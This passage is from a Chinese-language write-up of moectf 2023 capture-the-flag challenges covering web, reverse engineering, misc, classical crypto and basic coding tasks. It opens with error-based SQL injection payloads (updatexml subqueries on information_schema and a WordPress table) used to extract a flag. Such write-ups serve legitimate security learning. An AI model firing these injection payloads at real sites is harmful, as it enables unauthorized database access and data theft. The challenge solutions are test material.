ip=1&user_agent=1&time=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi'),0x7e),3)
获取flag
ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)
后半段:
ip=1&user_agent=1&time=updatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3
Reversez
Reverse入门指北
入门指北,运行附带程序获得flag
notepad+
打开搜索moe
base_64
base64是一种编码方式,不过这个好像有点奇怪?
hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具
在线找个网站反编译
一下base_64.pyc
文件
反编译后代码如下
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7
import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
print('good job!!!!')
else:
print('something wrong???')
exit(0)
base64解密并且更换密码本
Xor
这题是一个简单的异或算法。相信初学者们在熟悉了一些例如ida等工具的使用之后能很快解决。
提示:异或有个特点,a ^ b = c ,那么c ^ a =b
脚本如下
#include<stdio.h>
#include<string.h>
int main(){
char v[30]={0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C,
0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66,
0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44};
for(int i=0;i<28;++i){
v[i]=v[i]^0x39;
}
for(int i=0;i<28;++i){
printf("%c",v[i]);
}
}
运行得到flag
Misc
Misc 入门指北
来看看最基础的入门知识吧!
文件最后有字符串
base64解码
打不开的图片1
图片用010Editor
打开
然后插入字节
我们要添加文件头FFD8
,所以插入两个字节
插入文件头FFD8
然后添加文件后缀名.JPEG
图片正常显示
右键查看属性
解码得到flag
狗子(1) 普通的猫
010查看文件,flag在最后
Classical Crypto
ezrot
DESCRIPTION:ezrot
密文如下
@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N
Rot47加密,找个网站直接解密
可可的新围墙
DESCRIPTION:可可的新围墙
密文如下
mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j
W型栅栏,栏数是3
,直接解密
皇帝的新密码
皇帝的新密码
密文如下
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
凯撒密码,偏移量19,解密
不是“皇帝的新密码”
不是“皇帝的新密码”
附件内容如下
scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}
md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5
密码可以去了解一下维吉尼亚密码加密方式,已知前面是moectf
,秘钥可以得知是goodjob
,解密得到flag
Basic
CCCC
C语言是学习计算机基础中的基础,也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境,并且运行题目给出的代码来获取flag。
by the way:如果你看不懂这段代码,仅仅只是运行得到了flag,后面的题做起来会有一些困难噢
下载附件得到代码
#include<stdio.h>
#include<string.h>
int main()
{
//unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
int i;
for( i=0;i<strlen(enc_data);i++)
{
flag[i]=enc_data[i]^i;
}
puts(flag);
return 0;
}
运行后得到flag,注释也有
Python
DESCRIPTION: Python是CTF中最常用的编程语言,不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境,并且运行题目给出的代码来获取flag。
by the way:希望你是在看懂这段代码的基础上提交flag的:)
附件内代码如下
enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
x=lambda x:x^0xff
enc2=[]
for i in enc1:
enc2.append(x(i))
key="moectf2023"
flag=""
for i in range(len(enc2)):
flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
print(flag)
运行得到flag
moectf{Pyth0n_1z_0ur_g00d_friendz}
runme
DESCRIPTION: 下载文件,双击运行得flag~
但是我的程序好像会闪退欸,能不能想个办法保留一下它的输出?比如用CMD来运行它试试?
如果你不知道什么是CMD,可以尝试使用搜索引擎来学习,加油吧(> <)
在命令行运行
runme.exe
runme2
DESCRIPTION: 下载文件,运行得flag~
诶诶出了点小问题,好像不能运行?!因为这个程序是Linux操作系统下的可执行文件,不再是Windows了。
请尝试配置一个Linux环境(虚拟机或者WSL)来运行它。
Linux环境下运行得到flag
后记
因为本人是学Web的,所以剩下的方向纯属是瞎写,师傅们觉得写的不好也轻点骂(